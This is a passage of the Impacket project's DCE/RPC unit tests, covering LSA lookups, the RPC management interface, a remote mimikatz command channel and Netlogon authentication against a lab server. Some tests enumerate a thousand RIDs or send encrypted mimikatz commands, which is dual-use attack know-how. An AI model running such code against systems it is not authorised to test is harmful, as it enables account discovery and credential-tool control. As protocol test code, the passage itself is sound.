2.2.1.1.8) are used in this RPC message.\n        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.\n        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):\n            lsat.hLsarLookupNames4(dce, ('Administrator', 'Guest'))\n\n    def test_LsarLookupNames3(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames3()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 2\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        name2 = RPC_UNICODE_STRING()\n        name2['Data'] = 'Guest'\n        request['Names'].append(name1)\n        request['Names'].append(name2)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        request['LookupOptions'] = 0x00000000\n        request['ClientRevision'] = 0x00000001\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarLookupNames3(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsat.hLsarLookupNames3(dce, policyHandle, ('Administrator', 'Guest'))\n        resp.dump()\n\n    def test_LsarLookupNames2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames2()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 2\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        name2 = RPC_UNICODE_STRING()\n        name2['Data'] = 'Guest'\n        request['Names'].append(name1)\n        request['Names'].append(name2)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        request['LookupOptions'] = 0x00000000\n        request['ClientRevision'] = 0x00000001\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarLookupNames2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsat.hLsarLookupNames2(dce, policyHandle, ('Administrator', 'Guest'))\n        resp.dump()\n\n    def test_hLsarLookupNames(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator', 'Guest'))\n        resp.dump()\n\n    def test_LsarLookupNames(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 2\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        name2 = RPC_UNICODE_STRING()\n        name2['Data'] = 'Guest'\n        request['Names'].append(name1)\n        request['Names'].append(name2)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_LsarLookupSids3(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 1\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        request['Names'].append(name1)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        resp = dce.request(request)\n        resp.dump()\n        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()\n\n        request = lsat.LsarLookupSids3()\n        sid1 = lsat.LSAPR_SID_INFORMATION()\n        sid1['Sid'].fromCanonical(domainSid + '-500')\n        sid2= lsat.LSAPR_SID_INFORMATION()\n        sid2['Sid'].fromCanonical(domainSid + '-501')\n        request['SidEnumBuffer']['Entries'] = 2\n        request['SidEnumBuffer']['SidInfo'].append(sid1)\n        request['SidEnumBuffer']['SidInfo'].append(sid2)\n        request['TranslatedNames']['Names'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        request['LookupOptions'] = 0x00000000\n        request['ClientRevision'] = 0x00000001\n\n        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider\n        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least\n        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in\n        # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.\n        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.\n        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):\n            dce.request(request)\n\n    def test_LsarLookupSids2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 1\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        request['Names'].append(name1)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        resp = dce.request(request)\n        resp.dump()\n        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()\n\n        request = lsat.LsarLookupSids2()\n        request['PolicyHandle'] = policyHandle\n        sid1 = lsat.LSAPR_SID_INFORMATION()\n        sid1['Sid'].fromCanonical(domainSid + '-500')\n        sid2= lsat.LSAPR_SID_INFORMATION()\n        sid2['Sid'].fromCanonical(domainSid + '-501')\n        request['SidEnumBuffer']['Entries'] = 2\n        request['SidEnumBuffer']['SidInfo'].append(sid1)\n        request['SidEnumBuffer']['SidInfo'].append(sid2)\n        request['TranslatedNames']['Names'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        request['LookupOptions'] = 0x00000000\n        request['ClientRevision'] = 0x00000001\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hLsarLookupSids2(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))\n        resp.dump()\n        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()\n        sids = list()\n        sids.append(domainSid + '-500')\n        sids.append(domainSid + '-501')\n        resp = lsat.hLsarLookupSids2(dce, policyHandle, sids)\n        resp.dump()\n\n    def test_LsarLookupSids(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        request = lsat.LsarLookupNames()\n        request['PolicyHandle'] = policyHandle\n        request['Count'] = 1\n        name1 = RPC_UNICODE_STRING()\n        name1['Data'] = 'Administrator'\n        request['Names'].append(name1)\n        request['TranslatedSids']['Sids'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n        resp = dce.request(request)\n        resp.dump()\n        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()\n\n        request = lsat.LsarLookupSids()\n        request['PolicyHandle'] = policyHandle\n        for i in range(1000):\n            sid = lsat.LSAPR_SID_INFORMATION()\n            sid['Sid'].fromCanonical(domainSid + '-%d' % (500+i))\n            request['SidEnumBuffer']['SidInfo'].append(sid)\n            request['SidEnumBuffer']['Entries'] += 1\n        request['TranslatedNames']['Names'] = NULL\n        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta\n\n        with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'):\n            dce.request(request)\n\n    def test_hLsarLookupSids(self):\n        dce, rpctransport = self.connect()\n        policyHandle = self.open_policy(dce)\n\n        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))\n        resp.dump()\n        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()\n\n        sids = list()\n        for i in range(1000):\n            sids.append(domainSid + '-%d' % (500+i))\n\n        with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'):\n            lsat.hLsarLookupSids(dce, policyHandle, sids)\n\n\n@pytest.mark.remote\nclass LSATTestsSMBTransport(LSATTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass LSATTestsSMBTransport64(LSATTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_mgmt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)inq_if_ids\n#   (h)inq_stats\n#   (h)is_server_listening\n#   (h)stop_server_listening\n#   (h)inq_princ_name\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import mgmt\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\n\nclass MGMTTests(DCERPCTests):\n    iface_uuid = mgmt.MSRPC_UUID_MGMT\n    string_binding = r\"ncacn_np:{0.machine}[\\pipe\\epmapper]\"\n    authn = True\n\n    def test_inq_if_ids(self):\n        dce, transport = self.connect()\n\n        request = mgmt.inq_if_ids()\n        resp = dce.request(request)\n        resp.dump()\n        #for i in range(resp['if_id_vector']['count']):\n        #    print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData())\n        #    print\n\n    def test_hinq_if_ids(self):\n        dce, transport = self.connect()\n\n        resp = mgmt.hinq_if_ids(dce)\n        resp.dump()\n\n    def test_inq_stats(self):\n        dce, transport = self.connect()\n\n        request = mgmt.inq_stats()\n        request['count'] = 40\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hinq_stats(self):\n        dce, transport = self.connect()\n\n        resp = mgmt.hinq_stats(dce)\n        resp.dump()\n\n    def test_is_server_listening(self):\n        dce, transport = self.connect()\n\n        request = mgmt.is_server_listening()\n        resp = dce.request(request, checkError=False)\n        resp.dump()\n\n    def test_his_server_listening(self):\n        dce, transport = self.connect()\n\n        resp = mgmt.his_server_listening(dce)\n        resp.dump()\n\n    def test_stop_server_listening(self):\n        dce, transport = self.connect()\n\n        request = mgmt.stop_server_listening()\n        with assertRaisesRegex(self, DCERPCException, \"rpc_s_access_denied\"):\n            dce.request(request)\n\n    def test_hstop_server_listening(self):\n        dce, transport = self.connect()\n\n        with assertRaisesRegex(self, DCERPCException, \"rpc_s_access_denied\"):\n            mgmt.hstop_server_listening(dce)\n\n    def test_inq_princ_name(self):\n        dce, transport = self.connect()\n\n        request = mgmt.inq_princ_name()\n        request['authn_proto'] = 0\n        request['princ_name_size'] = 32\n        resp = dce.request(request, checkError=False)\n        resp.dump()\n\n    def test_hinq_princ_name(self):\n        dce, transport = self.connect()\n\n        resp = mgmt.hinq_princ_name(dce)\n        resp.dump()\n\n\n@pytest.mark.remote\nclass MGMTTestsSMBTransport(MGMTTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass MGMTTestsSMBTransport64(MGMTTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass MGMTTestsTCPTransport(MGMTTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n    string_binding = r\"ncacn_ip_tcp:{0.machine}[135]\"\n\n\n@pytest.mark.remote\nclass MGMTTestsTCPTransport64(MGMTTests, unittest.TestCase):\n    string_binding = r\"ncacn_ip_tcp:{0.machine}[135]\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_mimilib.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)MimiBind\n#   (h)MimiCommand\n#   MimiUnBind\n#\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom Cryptodome.Cipher import ARC4\n\nfrom impacket.dcerpc.v5 import mimilib\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\n@pytest.mark.remote\nclass MimiKatzTests(DCERPCTests, unittest.TestCase):\n    timeout = 30000\n    iface_uuid = mimilib.MSRPC_UUID_MIMIKATZ\n    protocol = \"ncacn_ip_tcp\"\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n    mimikatz_command = \"token::whoami\"\n\n    def get_dh_public_key(self):\n        dh = mimilib.MimiDiffeH()\n        blob = mimilib.PUBLICKEYBLOB()\n        blob['y'] = dh.genPublicKey()[::-1]\n        public_key = mimilib.MIMI_PUBLICKEY()\n        public_key['sessionType'] = mimilib.CALG_RC4\n        public_key['cbPublicKey'] = 144\n        public_key['pbPublicKey'] = blob.getData()\n        return dh, public_key\n\n    def get_handle_key(self, dce):\n        # Build handshake request\n        dh, public_key = self.get_dh_public_key()\n        resp = mimilib.hMimiBind(dce, public_key)\n        # Get shared secret and obtain handle\n        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))\n        key = dh.getSharedSecret(blob['y'][::-1])\n        pHandle = resp['phMimi']\n        return pHandle, key[-16:]\n\n    def test_MimiBind(self):\n        dce, rpc_transport = self.connect()\n        dh, public_key = self.get_dh_public_key()\n\n        request = mimilib.MimiBind()\n        request['clientPublicKey'] = public_key\n        # Send request and get response\n        resp = dce.request(request)\n        self.assertEqual(resp[\"ErrorCode\"], 0)\n        self.assertEqual(resp[\"serverPublicKey\"][\"sessionType\"], mimilib.CALG_RC4)\n\n        # Get shared secret and obtain handle\n        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))\n        key = dh.getSharedSecret(blob['y'][::-1])\n        pHandle = resp['phMimi']\n        self.assertIsInstance(pHandle, bytes)\n        self.assertIsInstance(key, bytes)\n\n        dce.disconnect()\n        rpc_transport.disconnect()\n\n    def test_hMimiBind(self):\n        dce, rpc_transport = self.connect()\n        dh, public_key = self.get_dh_public_key()\n\n        resp = mimilib.hMimiBind(dce, public_key)\n        self.assertEqual(resp[\"ErrorCode\"], 0)\n        self.assertEqual(resp[\"serverPublicKey\"][\"sessionType\"], mimilib.CALG_RC4)\n\n        dce.disconnect()\n        rpc_transport.disconnect()\n\n    def test_MimiCommand(self):\n        dce, rpc_transport = self.connect()\n        pHandle, key = self.get_handle_key(dce)\n\n        cipher = ARC4.new(key[::-1])\n        command = cipher.encrypt(\"{}\\x00\".format(self.mimikatz_command).encode('utf-16le'))\n        request = mimilib.MimiCommand()\n        request['phMimi'] = pHandle\n        request['szEncCommand'] = len(command)\n        request['encCommand'] = list(command)\n\n        resp = dce.request(request)\n        self.assertEqual(resp[\"ErrorCode\"], 0)\n        self.assertEqual(len(resp[\"encResult\"]), resp[\"szEncResult\"])\n\n        cipherText = b''.join(resp['encResult'])\n        cipher = ARC4.new(key[::-1])\n        plain = cipher.decrypt(cipherText)\n\n        dce.disconnect()\n        rpc_transport.disconnect()\n\n    def test_hMimiCommand(self):\n        dce, rpc_transport = self.connect()\n        pHandle, key = self.get_handle_key(dce)\n\n        cipher = ARC4.new(key[::-1])\n        command = cipher.encrypt(\"{}\\x00\".format(self.mimikatz_command).encode('utf-16le'))\n        resp = mimilib.hMimiCommand(dce, pHandle, command)\n        self.assertEqual(resp[\"ErrorCode\"], 0)\n        self.assertEqual(len(resp[\"encResult\"]), resp[\"szEncResult\"])\n\n        dce.disconnect()\n        rpc_transport.disconnect()\n\n    def test_MimiUnBind(self):\n        dce, rpc_transport = self.connect()\n        pHandle, key = self.get_handle_key(dce)\n\n        request = mimilib.MimiUnbind()\n        request['phMimi'] = pHandle\n\n        resp = dce.request(request)\n        self.assertEqual(resp[\"ErrorCode\"], 0)\n\n        dce.disconnect()\n        rpc_transport.disconnect()\n\n\nclass MimiKatzTestsAuthn(MimiKatzTests):\n    authn = True\n\n\nclass MimiKatzTestsIntegrity(MimiKatzTestsAuthn):\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY\n\n\nclass MimiKatzTestsPrivacy(MimiKatzTestsAuthn):\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_nrpc.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)DsrGetDcNameEx2\n#   (h)DsrGetDcNameEx\n#   (h)DsrGetDcName\n#   (h)NetrGetDCName\n#   (h)NetrGetAnyDCName\n#   (h)DsrGetSiteName\n#   (h)DsrGetDcSiteCoverageW\n#   (h)DsrAddressToSiteNamesW\n#   DsrAddressToSiteNamesExW\n#   DsrDeregisterDnsHostRecords\n#   (h)NetrServerReqChallenge\n#   (h)NetrServerAuthenticate3\n#   (h)NetrServerAuthenticate2\n#   (h)NetrServerAuthenticate\n#   (h)NetrServerPasswordGet\n#   (h)NetrServerTrustPasswordsGet\n#   (h)NetrServerPasswordSet2\n#   (h)NetrLogonGetDomainInfo\n#   (h)NetrLogonGetCapabilities\n#   NetrLogonSamLogonEx\n#   NetrLogonSamLogonWithFlags\n#   NetrLogonSamLogon\n#   NetrDatabaseDeltas\n#   NetrDatabaseSync2\n#   NetrDatabaseSync\n#   NetrDatabaseRedo\n#   DsrEnumerateDomainTrusts\n#   NetrEnumerateTrustedDomainsEx\n#   NetrEnumerateTrustedDomains\n#   NetrGetForestTrustInformation\n#   DsrGetForestTrustInformation\n#   (h)NetrServerGetTrustInfo\n#   NetrLogonGetTrustRid\n#   NetrLogonComputeServerDigest\n#   NetrLogonComputeClientDigest\n#   NetrLogonSendToSam\n#   NetrLogonSetServiceBits\n#   NetrLogonGetTimeServiceParentDomain\n#   NetrLogonControl2Ex\n#   NetrLogonControl2\n#   NetrLogonControl\n#   NetrLogonUasLogon\n#   NetrLogonUasLogoff\n#\n# Not yet:\n#   NetrLogonSamLogoff\n#   NetrServerPasswordSet\n#   NetrAccountDeltas\n#   NetrAccountSync\n#   DSRUpdateReadOnlyServerDnsRecords\n#   NetrChainSetClientAttributes\n#\n# TODO: Establish a secure RPC session. Some authenticated test cases will Xfail due to Zerologon patch\n#\nimport pytest\nimport unittest\nfrom struct import unpack\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import nrpc\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket import ntlm\n\n\nclass NRPCTests(DCERPCTests):\n    iface_uuid = nrpc.MSRPC_UUID_NRPC\n    authn = True\n    machine_account = True\n\n    def authenticate(self, dce):\n        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, bnthash)\n\n        self.clientStoredCredential = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey)\n\n        try:\n            resp = nrpc.hNetrServerAuthenticate3(dce, self.serverName, self.machine_user + '\\x00',\n                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                                 self.machine_user, self.clientStoredCredential, 0x600FFFFF)\n            resp.dump()\n        except nrpc.DCERPCSessionError as e:\n            if str(e).find(\"STATUS_DOWNGRADE_DETECTED\") < 0:\n                raise\n\n        # dce.set_auth_type(RPC_C_AUTHN_NETLOGON)\n        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n        # dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC)\n        # dce2.set_session_key(self.sessionKey)\n\n    def update_authenticator(self):\n        return nrpc.ComputeNetlogonAuthenticator(self.clientStoredCredential, self.sessionKey)\n\n    def test_DsrGetDcNameEx2(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetDcNameEx2()\n        request['ComputerName'] = self.serverName + '\\x00'\n        request['AccountName'] = 'Administrator\\x00'\n        request['AllowableAccountControlBits'] = 1 << 9\n        request['DomainName'] = NULL\n        request['DomainGuid'] = NULL\n        request['SiteName'] = NULL\n        request['Flags'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrGetDcNameEx2(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hDsrGetDcNameEx2(dce, NULL, 'Administrator\\x00', 1 << 9, NULL, NULL, NULL, 0)\n        resp.dump()\n\n    def test_DsrGetDcNameEx(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetDcNameEx()\n        request['ComputerName'] = NULL\n        request['DomainName'] = NULL\n        request['DomainGuid'] = NULL\n        request['SiteName'] = NULL\n        request['Flags'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrGetDcNameEx(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)\n        resp.dump()\n\n    def test_DsrGetDcName(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetDcName()\n        request['ComputerName'] = NULL\n        request['DomainName'] = NULL\n        request['DomainGuid'] = NULL\n        request['SiteGuid'] = NULL\n        request['Flags'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrGetDcName(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hDsrGetDcName(dce, self.serverName, NULL, NULL, NULL, 0)\n        resp.dump()\n\n    def test_NetrGetDCName(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrGetDCName()\n        request['ServerName'] = '\\x00' * 20\n        request['DomainName'] = self.domain.split('.')[0] + '\\x00'\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrGetDCName(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hNetrGetDCName(dce, '\\x00' * 20, self.domain.split('.')[0])\n        resp.dump()\n\n    def test_NetrGetAnyDCName(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrGetAnyDCName()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['DomainName'] = self.domain + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_hNetrGetAnyDCName(self):\n        dce, rpctransport = self.connect()\n        try:\n            nrpc.hNetrGetAnyDCName(dce, NULL, self.domain)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_DsrGetSiteName(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetSiteName()\n        request['ComputerName'] = NULL\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrGetSiteName(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hDsrGetSiteName(dce, NULL)\n        resp.dump()\n\n    def test_DsrGetDcSiteCoverageW(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetDcSiteCoverageW()\n        request['ServerName'] = self.serverName + '\\x00'\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrGetDcSiteCoverageW(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hDsrGetDcSiteCoverageW(dce, self.serverName)\n        resp.dump()\n\n    def test_DsrAddressToSiteNamesW(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrAddressToSiteNamesW()\n        request['ComputerName'] = NULL\n        request['EntryCount'] = 1\n        addr = nrpc.IPv4Address()\n        import socket\n        addr['AddressFamily'] = socket.AF_INET\n        addr['Port'] = 0\n        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]\n        socketAddress = nrpc.NL_SOCKET_ADDRESS()\n        socketAddress['lpSockaddr'] = list(addr.getData())\n        socketAddress['iSockaddrLength'] = len(addr.getData())\n        request['SocketAddresses'].append(socketAddress)\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDsrAddressToSiteNamesW(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrAddressToSiteNamesW()\n        request['ComputerName'] = NULL\n        request['EntryCount'] = 1\n        addr = nrpc.IPv4Address()\n        import socket\n        addr['AddressFamily'] = socket.AF_INET\n        addr['Port'] = 0\n        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]\n        socketAddress = nrpc.NL_SOCKET_ADDRESS()\n        socketAddress['lpSockaddr'] = list(addr.getData())\n        socketAddress['iSockaddrLength'] = len(addr.getData())\n        request['SocketAddresses'].append(socketAddress)\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_DsrAddressToSiteNamesExW(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrAddressToSiteNamesExW()\n        request['ComputerName'] = NULL\n        request['EntryCount'] = 1\n        addr = nrpc.IPv4Address()\n        import socket\n        addr['AddressFamily'] = socket.AF_INET\n        addr['Port'] = 0\n        addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]\n        socketAddress = nrpc.NL_SOCKET_ADDRESS()\n        socketAddress['lpSockaddr'] = list(addr.getData())\n        socketAddress['iSockaddrLength'] = len(addr.getData())\n        request['SocketAddresses'].append(socketAddress)\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_DsrDeregisterDnsHostRecords(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrDeregisterDnsHostRecords()\n        request['ServerName'] = NULL\n        request['DnsDomainName'] = 'BETUS\\x00'\n        request['DomainGuid'] = NULL\n        request['DsaGuid'] = NULL\n        request['DnsHostName'] = 'BETUS\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_CONTROL_ACCESS.\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_NetrServerReqChallenge_NetrServerAuthenticate3(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrServerReqChallenge()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientChallenge'] = b'12345678'\n\n        resp = dce.request(request)\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        request = nrpc.NetrServerAuthenticate3()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientCredential'] = ppp\n        request['NegotiateFlags'] = 0x600FFFFF\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        resp = nrpc.hNetrServerAuthenticate3(dce, self.serverName, self.machine_user,\n                                             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                             self.machine_user, ppp, 0x600FFFFF)\n        resp.dump()\n\n    def test_NetrServerReqChallenge_hNetrServerAuthenticate2(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrServerReqChallenge()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientChallenge'] = b'12345678'\n\n        resp = dce.request(request)\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        resp = nrpc.hNetrServerAuthenticate2(dce, self.serverName, self.machine_user,\n                                             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                             self.machine_user, ppp, 0x600FFFFF)\n        resp.dump()\n\n    def test_hNetrServerReqChallenge_NetrServerAuthenticate2(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = 